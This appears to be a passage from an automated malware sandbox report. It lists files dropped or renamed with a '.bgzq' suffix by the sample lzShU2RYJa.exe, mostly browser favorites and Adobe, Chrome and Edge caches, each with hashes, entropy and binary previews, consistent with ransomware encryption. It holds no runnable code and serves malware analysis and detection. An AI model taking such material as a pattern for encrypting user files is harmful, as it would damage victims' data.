Preview:	[{000...\|s...$.1.W..]&.#?S..N{...j8........g...Z8.#..~....4............I..W.c)Km.3...C_...mOj...RhP....}r........K.3jX..Q.1&5!3.......V..xj.%.y#4l....'/..M.<. .-.T.A.)..d..[JY6.H).I.,...j...]...,.....[..._K...1.g..,Uy.kv.z'g......Df.k...kO.S.F..[D.!...'".^..W.A..}...4.vsH.uI.NM.....H..Z7]....."Aw3..w`.V.P....2.0p.;D-..QA.K.dLn.#^.Gya......d.k...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Amazon.url.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.4272626238667785
Encrypted:	false
SSDEEP:	6:Jm8jmbqV7qijIjLiczfdwLzkaJ+pSIHmbfamcRkq8eFu6VjTgz4JfMzjhPcii96Z:c8jIK3kGczlJaJ+Ib48ingcejVcii9a
MD5:	FE84514A328A971BEBBBABE1EAD83074
SHA1:	F7D90F6FEBC5ABAE3BD3C7AF4EFC1C380559AA07
SHA-256:	17811CA18DD4EBB4413239A927FFD6C50D53052CD69F8041DAEF5E9206B1CA51
SHA-512:	1A2DB00CFE0FCA3B710FDFA19AD2951C98690B818DA9AB2F265D63B7678F802593E13FF09B0509ACC89BF4A753145587071D68BCD798C2D0F4AE686C9534142D
Malicious:	false
Preview:	[{000...\|s...$.1.W..]&.#?S..N{...j8........g...Z8.#..~....4............I..W.c)Km.3...C_...mOj...RhP....}r........K.3jX..Q.1&5!3.......V..xj.%.y#4l....'/..M.<. .-.T.A.)..d..[JY6.H).I.,...j...]...,.....[..._K...1.g..,Uy.kv.z'g......Df.k...kO.S.F..[D.!...'".^..W.A..}...4.vsH.uI.NM.....H..Z7]....."Aw3..w`.V.P....2.0p.;D-..QA.K.dLn.#^.Gya......d.k...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Facebook.url

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	447
Entropy (8bit):	7.476047247327013
Encrypted:	false
SSDEEP:	12:K9jRaF6Y9GyEZuhKvSivOJSpqNrejVcii9a:K9jXG6hFOJSpBVbD
MD5:	65D1B3A058E2B145A3C46C0DD79D0D32
SHA1:	7B6FCFD8E833294DE71E3F3DC01AA6831C16B8EC
SHA-256:	6E6E6C8376A109CD04B07BF6317C149A3D8B8DE49A32C01A9491AEA9536630FF
SHA-512:	9D77AA59D5BD6DD847BA976698746726426217903E750EAE7E63AA010AFD2C8E44D88FFD9E399E60F48126D5204E43C8E855701B4F751DE56F68C86FE5E96DFD
Malicious:	false
Preview:	[{000..<......$?....#Kv8...&g....`(.00..r.!........C.............h..J..?..W...O....'.....7M...h..K.....P..J.G/XM\|..@.;..U. ."R...E.;\.>..i.x.w .s...Q.........R0.W..w.......8..5'.xJ............h\+@..y=7.6.A.....r....q6....3,6..........Rc.....z.[..c.'.5.6.......p..dw..........a.......(s. "o.....Y":.}r./....*...h....saG0.e.. ...J...}.j...%.k._.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Facebook.url.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	447
Entropy (8bit):	7.476047247327013
Encrypted:	false
SSDEEP:	12:K9jRaF6Y9GyEZuhKvSivOJSpqNrejVcii9a:K9jXG6hFOJSpBVbD
MD5:	65D1B3A058E2B145A3C46C0DD79D0D32
SHA1:	7B6FCFD8E833294DE71E3F3DC01AA6831C16B8EC
SHA-256:	6E6E6C8376A109CD04B07BF6317C149A3D8B8DE49A32C01A9491AEA9536630FF
SHA-512:	9D77AA59D5BD6DD847BA976698746726426217903E750EAE7E63AA010AFD2C8E44D88FFD9E399E60F48126D5204E43C8E855701B4F751DE56F68C86FE5E96DFD
Malicious:	false
Preview:	[{000..<......$?....#Kv8...&g....`(.00..r.!........C.............h..J..?..W...O....'.....7M...h..K.....P..J.G/XM\|..@.;..U. ."R...E.;\.>..i.x.w .s...Q.........R0.W..w.......8..5'.xJ............h\+@..y=7.6.A.....r....q6....3,6..........Rc.....z.[..c.'.5.6.......p..dw..........a.......(s. "o.....Y":.}r./....*...h....saG0.e.. ...J...}.j...%.k._.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Live.url

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	443
Entropy (8bit):	7.45125575241799
Encrypted:	false
SSDEEP:	12:LgUF5FyFQyP7rWLNGzcbQmoKK5aOt7NjVcii9a:UUF5F+rWB2zR5aOthVbD
MD5:	00BAE46F1464AB85A7DFA3F9C21B9B25
SHA1:	419DDAB51A6318DCAC2BEDA48B32313F9D842756
SHA-256:	D7ECEA787C4E5F6EF2DC31DFCE669766931E0FA60018EB0871924C92080C8496
SHA-512:	72D79FB05DAC78E7EECE2E704A57C8A340718A26A0A9F07EFA40BB89D118E7F9D3B063B40668EB814C7673BCAB512363957425A68402023AA10EDC821E2949B4
Malicious:	false
Preview:	[{000D`....`..1.B.#.<.I+.0..+L:.....8.bR...(i.i....0.m.&6."...<.H..g.tB..K.rM.Z .CB..U.r..@-I.*~..........$x......./>../.L.nm..cM-..........r\|3...o.H..\V.?....j..._...d.....jV..}..W.......n`..1E..;.....#..+B':E.=.D>..T..z5..[.=..BK...._.].d1;...e4^.....'.4.......-~D.W.g..gB....cx_.x..>^W3?.....f..lp.]..E4...'.?.7......0..x..9....!..n..........itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Live.url.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	443
Entropy (8bit):	7.45125575241799
Encrypted:	false
SSDEEP:	12:LgUF5FyFQyP7rWLNGzcbQmoKK5aOt7NjVcii9a:UUF5F+rWB2zR5aOthVbD
MD5:	00BAE46F1464AB85A7DFA3F9C21B9B25
SHA1:	419DDAB51A6318DCAC2BEDA48B32313F9D842756
SHA-256:	D7ECEA787C4E5F6EF2DC31DFCE669766931E0FA60018EB0871924C92080C8496
SHA-512:	72D79FB05DAC78E7EECE2E704A57C8A340718A26A0A9F07EFA40BB89D118E7F9D3B063B40668EB814C7673BCAB512363957425A68402023AA10EDC821E2949B4
Malicious:	false
Preview:	[{000D`....`..1.B.#.<.I+.0..+L:.....8.bR...(i.i....0.m.&6."...<.H..g.tB..K.rM.Z .CB..U.r..@-I.*~..........$x......./>../.L.nm..cM-..........r\|3...o.H..\V.?....j..._...d.....jV..}..W.......n`..1E..;.....#..+B':E.=.D>..T..z5..[.=..BK...._.].d1;...e4^.....'.4.......-~D.W.g..gB....cx_.x..>^W3?.....f..lp.]..E4...'.?.7......0..x..9....!..n..........itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Reddit.url

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.430577244495231
Encrypted:	false
SSDEEP:	12:ILOLDwsg4c6hOVLLhCSsy1wQEGSaTSDjVcii9a:eOLsSuLLsSkQEGNIVbD
MD5:	EDA2B675D33B64CBF4D0CCFF51835093
SHA1:	03844D68E48584B4E81028BB73F1C3D733DA7969
SHA-256:	F745A67B9119091CB5A2BFF8B0E2F9E0A551414B5C7124E0590A3648DA0DA0C0
SHA-512:	5D72BA603705904EF3E8C207E58BB15DDD3B6932E5C970A604B2BBB9EF2D43ACBF3C45451F105CB759FD7AE48ED77FC4D4304D0C2B23046E6098A6F877933A5A
Malicious:	false
Preview:	[{000.8L...3.Q...........0Z...6Y....N#t...96....~{."c..0...,m..y=.U.d.ns}...q9...8a.Z/.../..z.N.it...!+~....Q.H....H...Ol.U#35.y.H&......&....Z..G...;..Gx.9..Q.J.%.....}...~.GP~.;.....8..O.m_...1l",\|...i.-....F...@?.pq%~*.....9.n.3]...~..'E....H~...a.)m)Yt.9@C..\|Nc<.k^,(.E...q.t.4I.......l..&^.l....L.......@.UfDk....MH...R.....&..a......]..S.s..Fitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Reddit.url.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.430577244495231
Encrypted:	false
SSDEEP:	12:ILOLDwsg4c6hOVLLhCSsy1wQEGSaTSDjVcii9a:eOLsSuLLsSkQEGNIVbD
MD5:	EDA2B675D33B64CBF4D0CCFF51835093
SHA1:	03844D68E48584B4E81028BB73F1C3D733DA7969
SHA-256:	F745A67B9119091CB5A2BFF8B0E2F9E0A551414B5C7124E0590A3648DA0DA0C0
SHA-512:	5D72BA603705904EF3E8C207E58BB15DDD3B6932E5C970A604B2BBB9EF2D43ACBF3C45451F105CB759FD7AE48ED77FC4D4304D0C2B23046E6098A6F877933A5A
Malicious:	false
Preview:	[{000.8L...3.Q...........0Z...6Y....N#t...96....~{."c..0...,m..y=.U.d.ns}...q9...8a.Z/.../..z.N.it...!+~....Q.H....H...Ol.U#35.y.H&......&....Z..G...;..Gx.9..Q.J.%.....}...~.GP~.;.....8..O.m_...1l",\|...i.-....F...@?.pq%~*.....9.n.3]...~..'E....H~...a.)m)Yt.9@C..\|Nc<.k^,(.E...q.t.4I.......l..&^.l....L.......@.UfDk....MH...R.....&..a......]..S.s..Fitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Wikipedia.url

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	448
Entropy (8bit):	7.479513643169608
Encrypted:	false
SSDEEP:	12:xqaGn5nibA8KQm3zv5mbTffFxv+FjVcii9a:oR52A8KQmjv5Mf9xv+FVbD
MD5:	CCA03506034D85C3A62112D4BAD2022E
SHA1:	B69D71440AE4D86DE3A0C1ED75426045CC0FCD1C
SHA-256:	45D4E7761DB04F2B8F854257B282EB576C3ED88B00E5D89C10C1A16EFFA18779
SHA-512:	8EB6E420C520E2C70B6144759CC1AEC802B6B99224248A1717BB0255BA15ADE4BEDAF93FC8B114E218740A8F2558E12320426A82A562D292DA528A7B915EF4B0
Malicious:	false
Preview:	[{000......".....Te.<,\|...o.....J.Z.P&..R.....jI..&....m....M..#..=$.".h...U..x.............RL..\.~..[..........\|..B9......x..":6$.TX.N.I.7-......[.0...8W..[l<c.kd+..>P.0....%l<.........z.e..%....-..i..S~..:...\.N...d...x2..:..rL{ ..'p@. .I..~..\|l~.~.\|......iC,'.Ri)...W...@..^.B......^o.k;6..8..%.........\|/R... ..l3t.v&A<.1..0..............b....TS...{...k..)itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Wikipedia.url.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	448
Entropy (8bit):	7.479513643169608
Encrypted:	false
SSDEEP:	12:xqaGn5nibA8KQm3zv5mbTffFxv+FjVcii9a:oR52A8KQmjv5Mf9xv+FVbD
MD5:	CCA03506034D85C3A62112D4BAD2022E
SHA1:	B69D71440AE4D86DE3A0C1ED75426045CC0FCD1C
SHA-256:	45D4E7761DB04F2B8F854257B282EB576C3ED88B00E5D89C10C1A16EFFA18779
SHA-512:	8EB6E420C520E2C70B6144759CC1AEC802B6B99224248A1717BB0255BA15ADE4BEDAF93FC8B114E218740A8F2558E12320426A82A562D292DA528A7B915EF4B0
Malicious:	false
Preview:	[{000......".....Te.<,\|...o.....J.Z.P&..R.....jI..&....m....M..#..=$.".h...U..x.............RL..\.~..[..........\|..B9......x..":6$.TX.N.I.7-......[.0...8W..[l<c.kd+..>P.0....%l<.........z.e..%....-..i..S~..:...\.N...d...x2..:..rL{ ..'p@. .I..~..\|l~.~.\|......iC,'.Ri)...W...@..^.B......^o.k;6..8..%.........\|/R... ..l3t.v&A<.1..0..............b....TS...{...k..)itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Adobe\Acrobat\DC\AdobeCMapFnt23.lst.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	7.854496705414077
Encrypted:	false
SSDEEP:	48:mCNX6tVW5KOnA/ImCR9BkK0AvIQ2docLiEDQRfFD:FNmVeA760lQ9SjMRf9
MD5:	6D1CE8191EC4C1604D14698512F7FE8A
SHA1:	9E49962BE1817998D51F2AC5A1A0217BA22FAFD5
SHA-256:	C765D4C66F5B1FA3ADEAF16847B6EFDA13839F2EA988C034359E6C15B80843D2
SHA-512:	C2F84617D660D4C53330F94A3AFF0B48BE3A204C0FF242D7390B9A1871A50EE8DF98F94518A71B0C7CF57B0CD41D807417524976EEB078A31B99DAA2ECE7C014
Malicious:	false
Preview:	%!AdoQ...,..\| .).qJ.......L........D.Dq.fz..E.of=.Pe/x..>.i.,...e6r.?{.+.?}..'....!.l5........7%9D..29.R......3.v.....\|#.:x..{.D.47.9.b...H(...e.].K.&..."&.m..^...%.P)....L...7,.d.@....W.p.i.T}....f..3u4l.v)k.........OW...5g3.Mu....A.......T...&k......(p>.YL.%A..H...{7.....\I,N.j.h'r...?.5...J....1`...L.N.h..E.)M+....FW.s...$..........Q........PK..6..O.\Z..GQ.x......._."ah.%.3...5.......1N-.h....~.h.4.~#...5.y`..?..0.J...R........<.!..^..W.g....@L..H..-..P-.[.;....MA..{kF.>uwo.F....P...Z...4.....z. ...jnL.'.f.$...B..;.;..&G.A.....^.}Y......_....D..6p....Z^.E!.-......!,.,.O..n....U......\...aM...P....7J.0..cv...@..Y..h.......Fz'.M&h.].!YV.rM).PW1...).....5........Te'..Bx...@,$L.5?.....h..:.~=..1.:n<c.)T.......]...dJ_%.k..&._..h.?n{.#..}.h..D...\+.4.I;<[.{.@..w=.Y.>.7..ug..u..N$.....Q.e.=.m..F..yRZ...qt%yD..1.....G..x...}mK....w;..[...pW.6.l..D...Zb-.y,^GD.}..i.......\|..><......,..hT....=....g...f..=.DU)......E..6...........G.z..D

C:\Users\user\Local Settings\Adobe\Acrobat\DC\AdobeSysFnt23.lst.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185433
Entropy (8bit):	7.875681746477046
Encrypted:	false
SSDEEP:	3072:CeYDc3oCBP3yYL+ny8CSQCdQQWgxVqmgJbq3TGJuGg7PFjC68kSGbEjXE07Zmane:j2UoChCpnyxBAQEVzgg3aBgDFG3k/uXs
MD5:	A589D5892BA7D68C2F651015BFA491AF
SHA1:	6F4C4D1CEAE79B82AA78CE570D8C918D65D1F687
SHA-256:	31C6A9B38A02B8CED040E87FCBC722F19B17C56CE9E1B5D9C96A024D9F9541AE
SHA-512:	FD597A42E89E99CCD253BCCAB82CC548F8033F8FC40C6BFCEB25CE6514CC039C7C894C5E36662292833CDE03D9A9D739EF8684C65C4BAAC117D9F8AFF6B3604B
Malicious:	false
Preview:	%!AdoP..} O..#.+.xs.4..x...S{.(0.JI.c.V2..n..2M....G.....Y...V:Z..b./K...R...ni..b....E...]90.T.....J.C......}..x.....GM.v.m...]. .P!...::T.4......j.m........oK.^..K\|....K...K1%..R....?...L.8...,D..{....;.2.1...AB.8+...C......fG.W.{.....,....0.=.N.n..i.e...fZG.Mn...&....4.c.,..f..y.7..Y^x5l+y.:0.fB.:.D.......s..).8f..lFrE&....l....L...!;$m'.#p.!.....J.......^9..h.....Hn..a..4.X../..........q..L....Jv]oy....r.@,JV.......C.....3\.....9....f.....@1.pF.y..<..#.>..4..I.......Z.r...62B.h...8..U1.6.E..^...j}.s.s.z../y..g.j.?.t[....7...\|L..v....X...'.K.R\.....}..n.S..=Mb7...rm...@C.Xw.oJE.X.......C5..Ab.Y..Z.=m~......c...-1..]+...@.!)..I.z....dg.i.L..H.."85.+^\5....>RA....-....(....y`.....f]......@...]b....p.O...#..+T* ..M.kPc*...g........w.....c.3+P..B.`.....E...o;^ir..WLj.o.ry.;...A... ..,..nD.]:/.N.+..@X...(.].3..`5.........I....g........^.r.{.VnW..M_}...8f.(..F.5....t\|...G.....Y...#.3B...ss...vN.#......88.B../....).N..C.(...>..,..K.

C:\Users\user\Local Settings\Adobe\Acrobat\DC\IconCacheAcro65536.dat.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	243530
Entropy (8bit):	6.819012983313671
Encrypted:	false
SSDEEP:	3072:GLl5ggqxIPysZUqnc0rIZI1kOx/CoMXi9TpDoJcOgeudCHQzUl6YbHRgROolNlnm:SPyitnctZROxqy9RoGDncgUl/bQnm
MD5:	3C6665F874211565B7851CEE1228BFCF
SHA1:	D78C69EE121B2287598D4050BCD918D622EC6DAE
SHA-256:	EB56481482C87419F7FC9A332915E6CF78C2F6C5DA0F8128FBEBFBF1376FF66F
SHA-512:	E14084C1DBADA127DE6B410F14EDBFFA2D70F6B2DCBBF5F2A09737C2D02A7BFACF853842353F9D7C53F6CEEAC160895011ADC7A80F6BA8479C74346E47F51068
Malicious:	false
Preview:	Adobe..`b.;..am.v..X.J....,VX..&.5A....A{.Z'2.<.TpxXw.y7...q.-....s.H...h..C...o>R.a....... ....-.x.......8..0N.#)..]hy.bX-...u......5...\|...j..>4...F.w_.h.\|...#.j..E..m.....[....f.....FO.....Dz.;w.....9.t.r...l...4!..%.x=..+.....7.=9.........Lz..T..[..-F..n.....C....4O..,rLq...V.z.~U.}.D..:.3* 30.NMK....U..D.M....k...\|.......KG....x....S..).B..3m...'2.W...(...2.'G....!.)v(\V....+3.Y..X.x...P.U.Fqs......}.q.7A.h.~sT...+...p\|.;(.....?KN...8.Q.L.7F.+W.dQw5...L..]r..B.....z"\|..TS.j..cA.T...\.R@.....I..R.......1L.dw..X......y..j.F...@b....'.....p..J;..(HI.......;2 ..um..x....j.J.....v...y........:{s$.v.....(...7..\. ...!V....9.p.rV.$K.0..;.P.c.T...#..i[W.*..P.F.....". .!...&lJK%q..O.....]94...i..<..{..d.8.w.xj]H/..0.]....f..XW..p.WE.A....a.<NZ..G....-...F./.BP.B@.}.......2....L...\.i.........o.u_zk+......T.\\A+....-..tX.....h!.bu..R...{..?...e......1....y.l.._.`.-.....%.....g>.....Rn$ .,.z-....U.i..Ro...W..)x.K.#{.......b...M\<[.C..Q)/..\....

C:\Users\user\Local Settings\Adobe\Acrobat\DC\UserCache64.bin.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	67060
Entropy (8bit):	7.997547662135182
Encrypted:	true
SSDEEP:	1536:oHDghcSjVxQtZKAD5L5533TBhn7VD16d1pQhkjAA4k:K0hcSRcZKy53jBh7h16dzQWjA2
MD5:	4256791712C67502F298C538C258D48A
SHA1:	822F422AFB26C3A4563DA0BF3CA3219C78515609
SHA-256:	CBA7EEF2EC01A8A50F19D9174F9585E5B3D11E8D7478B86E59B36CE886EFE304
SHA-512:	9465793748FD4990D1286AA5290160D368C1E3484784783957EC3A631C6BF6B896426E8E2ACFA8394C1242F68883EBC5E0F3199B337B387DACF36FD39AEA142D
Malicious:	true
Preview:	4.397....._.t44...Ej...s......Tx.j#.0..1.T...JZ...g.5.F.Nj.[.9.1.0.....A..B.u.T.}............Oi.$..vO..D.N.E..x.d....0....`..j..3..n?.g.S.:.X\|b.+m..X..>.HV"U=..e.....}....2.!......:6...Y..,f.+...<.w.k.O ..._.t.]...yP.%%........n......c.H....9.fw..K.[e.s...V..X41..H.B...>@.....y2m.....<K..^.We...%K.....A......3L...e.-Y+63.3..c1..........B...[j.Bu..!N....t.&...m...........Ic.9..o._.X&...=4u(.K..VU.........Q...P,..-.+...-...C..R...5......@a....{.....L...Es .<.s....... ...@.ev.j..-]e.QJL..<K....m.xF\|...m}.f...}...U.....hl.a{U.2..e.C8....x....W....r..TL%.(K....\y4{..\.........pu,Iy.!O.p...oG.X...:.\.vv.....7..@..<.'..C.W....).......g.\ccCYz..W..?V#..X...0..q.... ....vK.n..=X..8"..N.1..+.0m..Z,.....F...d.e...3.......s..3........B6`q..}._.1V.cZ._F...x..u..s.6...A.T.?M...~..?A.....6.y..&..c^.,...quy...Oe.e.S?1.k8..eK3...$..i]"...4=O....1A}.a..t/...>.h.......e./..i.L..."...[.._.....Ru*.._6Pd.w.6....{##m_....U+....O?Y.oF.......N..........7.

C:\Users\user\Local Settings\Google\Chrome\User Data\first_party_sets.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.99654093979232
Encrypted:	true
SSDEEP:	768:ryoKc50w+GGECqbZ9ntx4scnHhZudGFYKfNVPfJ8YfvYiCKQsKvto7mvUj3x:rydcnGIbZB4sQhUvK3FvLKvUt
MD5:	DD529037866ADEA0E0C2F1E4ABF7F09D
SHA1:	2551695D04D3EC130530CC58525012006BD57142
SHA-256:	6B7585AB0D5E30470655B6EADC78150E5A775132DC88045DFCC6DA1517228EA6
SHA-512:	B2CFAE18DC02E90C7DAE083E793444719B76F17279D67153325A687021DC656D49E1473837CB1C58F6B0DD4A3C1EC9BCA6650E0B81057B93AEFB7440DF5CA721
Malicious:	true
Preview:	SQLit-.~b"..$........A.)\. d...;..Y..+B.h.v.m....x....q..T{M.(.3........eq..}l.k(...7...!d..J....K....,[S.a.U.......k....K.....<WDV....c.Q...,.......]............a.{=.q.o...j.]._.1M......f..ZT..&..Ap..k...#.....n/^....O.b.D...\|.d.F.....>.....E,k.....R.>....H.kh{..%.z;..F....1.."....#{..{T./............d.d.i....c......9.5.~,...:.e...(.....M..L..k...dG..Lw8.l.c..u... .\.Lw....u;;......U.Y@R...a.>.`r...<'.>aRKfb..J...\.i..D:.}..#.\|.Bc.0.....8<G..o..:^".....!.3..f97...........^.P,.Xb.....jb.7..>h...k....9.........#...EU..>.M.p@.K.....O...........%D.SM..4u..1X....i+...`N..&ln....!~80...1Cy.bT..Tw.....s......,&~Yo.T&..S.l....P...2@.B.sNh..B.4..[.hw.oZ.<...I&..h.......2....-...;...Y.m...c..2p..O.1{....j..-;.G.d...j.j...O[.N...G..S.$.`).....0,.&g...3<d.Hb^...R............#O......UN.u}.....0/......q7&Bqe+.W..Gay..c.?.Vc..=..v..g.Gx.O'.6..f.+gg.[..8..7.#....]@.o..........S..J..W.....yw.l......r.P{2c..W....o......Pbf...y.T.(..

C:\Users\user\Local Settings\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.277233534690029
Encrypted:	false
SSDEEP:	6:QrinNQCuam+wRy7kXW5p7QFjHxMrpR0Zp6iC4CPzijLs1W2C/zjhPcii96Z:QeNxNm+wRy7kG5CMRjb4CLijLscFjVcq
MD5:	D02F19F438B91DD1A06D0CC0CA7E2CAF
SHA1:	88764CD2A49656DD8429C85751A78E03806E1C32
SHA-256:	018A0F0884627D8482DACB42CEA3F693E14949FB07E95A579AF6978D8AFD63CE
SHA-512:	82EB19A2436CAA42B231D9C59B1100A1E8DE8E8E35896FE4279EF8736B45AEBA85D59407246DAAA4DA79EE3AB4118130BB4B9A480BEA9650D77C9F1BEBAF1835
Malicious:	false
Preview:	1,"fu.........e..._V...:m........3....).....:.H.....s......M......%.1+.....C..\...7X.b.%...p&...{..<.............J.`>..A.....r.*S.N^..vPD......1.p,>Y.b2..j._..\kWtV.N'..[...=.o..pf.V?.R.U...U^Y.V.y...tq..v..4Q...}c~..Z..4.....Fv.0....r.U~....91r.8U......Q...0]X...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\CLR_v4.0\UsageLogs\InspectorOfficeGadget.exe.log.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.827123262379444
Encrypted:	false
SSDEEP:	24:OaJfE1at/J5ad/U4A2avunAZivT3OTW30VMziNKc3uTsrPJpiVbD:7mcBadMX2NAkrIW3SDX31JpiFD
MD5:	D750B30DF1E1B5E13EAAB0D5CA7F78A9
SHA1:	E6F4B8B5479D7592FE30AFE3E802F78D484C651A
SHA-256:	C9BA4F7D6DC373706D4765EA4804D4A0508B5D4582DEA98845F42C4F7A548459
SHA-512:	FF292DE237A35801A96D16BA7BFF1DCA0A522EAC9B68A9D9CFFAFFFBBDA1A6D2D928F304297BF0AFA45D67E09B970353584D5058425830ADE2F265CDBF8A8C4D
Malicious:	false
Preview:	1,"fuZ'tY..Oa..1....q..M ...3...T.......z.[....R_B...:.......`.k..Of.A..}_Z.aK.-...'O~.....M.X...B....pV..dM.+.9!.Z.NQ.W...j"..qgy..w#....Pp+.!~..Ul....t.N..7..d."6......4U1..`.c.i..8:....\|\(.af..w..!.+k..[w.Iq\|.}.B..$..pr.B.........&.?...P.>6.KtT..`.3..)....Kj.d?'r.E...~..Z9\...cGt{.#....O@..G.G`..b..._ky.I....WQ.R.}k.h....2.Om.b..o1..8'..3#y..K...L.'...Z....L..$.f...uq.t.;.e..zOd..WB....Q.N.v...;_.......H;..j.a\....@.o."........>no..D..C..1.1...'f..v.K....i.)hY ...4.;.sY9.......a.f...Hf"......i.....ydWQZ.:f...YM.+\|2Y0..!...}..'......6.LF......+....O_..)B.fY8..,..B......M....@Q.F1...+...Y..q.C...8.M.r.0X(..6.wz).]..D. ...i...,!>..b.d%P4.....!si...P..i._.K.1.sMo.^.L...Q.>.1.Ra.a..S....G..<.N...z<....E.......n. .I\|.,....n..2.....I..&..-.-.d>...J.{.. .]..?b..4y.E.....Y.F!.....]5.&r.U..:0..;..D./...n.'p.j..^.^.B.?.r9y..t}H....<........8...=,.5n!)....`jU...V..(ZS...._.].(.....S..j....1...@:R..E..>.b/.~.U3....:3.k.n..........<Y.E5..&r.:.

C:\Users\user\Local Settings\Microsoft\Edge\User Data\CrashpadMetrics-active.pma.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.987975788307985
Encrypted:	false
SSDEEP:	384:9pDAD7vUQ39cCrXI9El1SNjJS4VRyJNiPhvr6Mj4imj:/c7vUQuCPIhVRy3i5vuMsp
MD5:	EF27BFF0BE6FA98A3035F19A6BDBCC7C
SHA1:	E6F2D1C42014D539B3D8282E823F2D54A578FB5E
SHA-256:	10DAD94754E51C63143161549C0315E4EA033BB0BC762975CE0A6FCB8DEA5C03
SHA-512:	9CFBCEA8CB4C5F5629847F723CC677ABBCE8BD14B7DFBC76895E5383E2AD4774510F8CDA2B0D4E0313B6AF61BFFD6FF263F1E13D55C35AD3B762E6D637607F98
Malicious:	false
Preview:	...@..H.mhN..9..EU..X.........%.}.....t....."..kH..Y.f.....H._.9.:.Wf....-..Y../...Gu....[.A...^!...V,...9W.J.L..v.~..G....lj.1.y..B.{k..u.%.....`.>aAu=....(..u.._@]')..xo.O..x_.@. ....;v.t..P$.............q...H.D..,2g`..k....E.;...Z;.).@.....8y.z}.H......12.H....=q.T...M.._..Z(]..K......&sVI.... .yR}.^S.<+]W,@Z.$.Y...o1.%M...X.{W..ti..[a6B\Z.....\1.X..f.].Ty.jd...."{........M.]..$..l?...'.g0).LSY..J..c.........8P.. 